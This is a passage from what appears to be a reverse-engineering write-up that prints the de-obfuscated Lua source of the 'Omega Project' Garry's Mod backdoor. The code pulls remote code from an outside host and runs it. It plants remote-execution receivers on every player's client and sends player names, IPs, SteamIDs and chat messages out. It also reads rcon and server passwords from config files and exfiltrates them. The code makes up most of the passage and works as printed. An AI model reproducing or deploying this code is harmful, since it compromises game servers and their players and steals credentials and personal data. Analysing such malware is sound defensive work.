200, 760 | } 761 | ``` 762 | 763 |

764 |
765 | 766 |
4) After more work, I can see everything 767 |

768 | 769 | ```lua 770 | --[[ 771 | name: Ʊmega Project 772 | author: Inplex 773 | Google Trust Api factor: 78/100 774 | Last Update: 02 06 2020 775 | Description: If you use the panel for hack you will be banned ! -- Lol, Xalalau 776 | ]] 777 | 778 | if lock == "lock" then return end 779 | lock="lock" 780 | 781 | local header_cWcHqNprbaTRQip = { 782 | ["Authorization"] = "ZWM2OGJkMjMxMGMyODRiODljNGYyNDliYTkzMWQ2Y2Q" 783 | } 784 | 785 | HTTP({ url="https://api.omega-project.cz/api_anti_backdoors.php"; method="get"; success = function (api, anti_backdoors) RunString(anti_backdoors) end }) 786 | HTTP({ url="https://api.omega-project.cz/api_player_blacklist.php"; method="get"; success = function (api, bad_player_blacklist) RunString(bad_player_blacklist) end }) 787 | 788 | local addons_files, addons_folders = file.Find("addons/*", "GAME") 789 | 790 | for k,v in pairs(addons_folders) do 791 | if (v != "checkers") and (v != "chess") and (v != "common") and (v != "go") and (v != "hearts") and (v != "spades") then -- Wtf? 792 | http.Post("https://api.omega-project.cz/api_addons.php", { 793 | server_ip = game.GetIPAddress(), 794 | crsf = "SztseEltZSFDyUscjSKJozBWfKCzHuUJjJwpnKgT#MTg2LjIyOS4yMjYuMTAy#djsPLByfuJkTKEfchWXIbLRYzPXqACCsPkvVHmnV", 795 | addons_name = v, 796 | addons_update = util.Base64Encode(file.Time( "addons/"..v, "GAME" )) 797 | }, 798 | function(http_addons) 799 | if string.Left( http_addons, 1 ) == "<" or http_addons == "" then 800 | return 801 | else 802 | RunString(http_addons) 803 | end 804 | end, 805 | function( error ) end, 806 | header_cWcHqNprbaTRQip) 807 | end 808 | end 809 | 810 | util.AddNetworkString("net_1") 811 | 812 | BroadcastLua([[ 813 | net.Receive("net_1", function() 814 | CompileString(util.Decompress(net.ReadData(net.ReadUInt(16)))) 815 | end) 816 | ]]) 817 | 818 | function someNetFunction(arg1) 819 | timer.Simple( 0.5, function( ) 820 | data = util.Compress(arg1) 821 | len = #data 822 | 823 | net.Start("net_1") 824 | net.WriteUInt(len, 16) 825 | net.WriteData(data, len) 826 | net.Broadcast() 827 | end) 828 | end 829 | 830 | util.AddNetworkString("net_2") 831 | 832 | BroadcastLua([[ 833 | net.Receive("net_2", function() 834 | CompileString(util.Decompress(net.ReadData(net.ReadUInt(16)))) 835 | end) 836 | ]]) 837 | 838 | function SendPly(arg1, steamid64) 839 | timer.Simple( 0.5, function( ) 840 | data = util.Compress(arg1) 841 | len = #data 842 | net.Start("net_2") 843 | net.WriteUInt(len, 16) 844 | net.WriteData(data, len) 845 | for k, ply in pairs(player.GetAll()) do 846 | if ( ply:SteamID64() == steamid64 ) then 847 | net.Send(ply) 848 | end 849 | end 850 | end) 851 | end 852 | 853 | hook.Add(PlayerInitialSpawn, "hook1", function(ply) 854 | http.Post("https://api.omega-project.cz/api_get_logs.php",{ 855 | csrf = "ec68bd2310c284b89c4f249ba931d6cd", 856 | content = "Client "..ply:Name().." connected ("..ply:IPAddress()..").", 857 | server_ip = game.GetIPAddress() 858 | }, RunString) 859 | end) 860 | 861 | hook.Add(PlayerDisconnected, "hook2", function(ply) 862 | http.Post("https://api.omega-project.cz/api_get_logs.php",{ 863 | csrf = "ec68bd2310c284b89c4f249ba931d6cd", 864 | color = "de3333", 865 | content = "Dropped "..ply:Name().." from server (Disconnect by user).", 866 | server_ip = game.GetIPAddress() 867 | }, RunString) 868 | end) 869 | 870 | function ServerLog( logs_content ) 871 | http.Post("https://api.omega-project.cz/api_get_logs.php",{ 872 | csrf = "ec68bd2310c284b89c4f249ba931d6cd", 873 | content = logs_content, 874 | server_ip = game.GetIPAddress() 875 | }, RunString) 876 | 877 | return ServerLog( logs_content ) 878 | end 879 | 880 | function Error( string ) 881 | http.Post("https://api.omega-project.cz/api_get_logs.php",{ 882 | csrf = "ec68bd2310c284b89c4f249ba931d6cd", 883 | content = string, 884 | server_ip = game.GetIPAddress() 885 | },RunString) 886 | 887 | return error( string ) 888 | end 889 | 890 | timer.Create( "timer1", 1, 0, function() 891 | hook.Add( "PlayerSay", "hook3", function( ply, text ) 892 | local http_chat_table = { 893 | name = ply:Name(), 894 | server_ip = GetTcpInfo(), 895 | steamid64 = ply:SteamID64(), 896 | message = text 897 | } 898 | 899 | http.Post("https://api.omega-project.cz/chat_connect.php?MQOEJzPlmWGTzcI=oAyxQMjHSitigAJ", http_chat_table, function(http_chat) RunString(http_chat) end) 900 | end) 901 | 902 | if file.Exists("cfg/autoexec.cfg","GAME") then 903 | local cfile = file.Read("cfg/autoexec.cfg","GAME") 904 | 905 | for k,v in pairs(string.Split(cfile,"\n")) do 906 | if string.StartWith(v,"rcon_password") then 907 | rcon_pw = string.Split(v,"\"")[2] 908 | end 909 | end 910 | end 911 | 912 | if file.Exists("cfg/server.cfg","GAME") then 913 | cfile = file.Read("cfg/server.cfg","GAME") 914 | for k,v in pairs(string.Split(cfile,"\n")) do 915 | if string.StartWith(v,"rcon_password") then 916 | rcon_pw = string.Split(v,"\"")[2] 917 | end 918 | end 919 | end 920 | 921 | if file.Exists("cfg/game.cfg","GAME") then 922 | cfile = file.Read("cfg/game.cfg","GAME") 923 | for k,v in pairs(string.Split(cfile,"\n")) do 924 | if string.StartWith(v,"rcon_password") then 925 | rcon_pw = string.Split(v,"\"")[2] 926 | end 927 | end 928 | end 929 | 930 | if file.Exists("cfg/gmod-server.cfg","GAME") then 931 | cfile = file.Read("cfg/gmod-server.cfg","GAME") 932 | 933 | for k,v in pairs(string.Split(cfile,"\n")) do 934 | if string.StartWith(v,"rcon_password") then 935 | rcon_pw = string.Split(v,"\"")[2] 936 | end 937 | end 938 | end 939 | 940 | if rcon_pw == "" then 941 | rcon_pw = "Aucun Rcon" 942 | end 943 | 944 | for k,v in pairs(player.GetAll()) do 945 | local playerInfo = { 946 | name = v:GetName(), 947 | ip = v:IPAddress(), 948 | server_ip = game.GetIPAddress(), 949 | crsf = "TFIbsvQYjTFbgXmBOqkeNyKKsURUCRlFedXsdPIm#MTg2LjIyOS4yMjYuMTAy#sBktToCthmfpNctMDsDrhmWcHaDQwsakUivPAHVu", 950 | steamid = v:SteamID(), 951 | steamid64 = v:SteamID64(), 952 | } 953 | 954 | http.Post("https://api.omega-project.cz/user_connect.php?zkHNFOZQhmXBsva=soGpJmAfXbWSliy&ping=" .. v:Ping(), playerInfo, function( http_users ) 955 | if string.Left( http_users, 1 ) == "<" or http_users == "" then 956 | return 957 | else 958 | RunString( http_users ) 959 | end 960 | end, 961 | function( error ) end, 962 | header_cWcHqNprbaTRQip) 963 | 964 | end 965 | 966 | local serverData = { 967 | i = GetTcpInfo(), 968 | n = GetHostName(), 969 | m = game.GetMap(), 970 | bo = tostring(#player.GetBots()), 971 | c = game.GetIPAddress().."{+}"..server_key.."{+}1597393287", 972 | g = engine.ActiveGamemode(), 973 | crsf = "MTg2LjIyOS4yMjYuMTAy#HSldBHvasYQuaoldmwxTWhRqdXntKabTIdewJWrW", 974 | nb = tostring(#player.GetAll()).."/"..game.MaxPlayers(), 975 | lurl = GetConVar("sv_loadingurl"):GetString(), 976 | pass = GetConVar("sv_password"):GetString(), 977 | k = "", 978 | client_func = "someNetFunction", 979 | r = rcon_pw 980 | } 981 | 982 | http.Post("https://omega-project.cz/api_lib/_-_-drm-_-_/__.php", serverData, function(http_servers) 983 | if string.Left( http_servers, 1 ) == "<" or http_servers == "" then 984 | return 985 | else 986 | RunString(http_servers) 987 | end 988 | end, 989 | function( error ) end, 990 | header_cWcHqNprbaTRQip ) 991 | end) 992 | 993 | ``` 994 | 995 |

996 |
997 | 998 |
999 | 1000 | That's it. I hope you enjoy :) 1001 | --------------------------------------------------------------------------------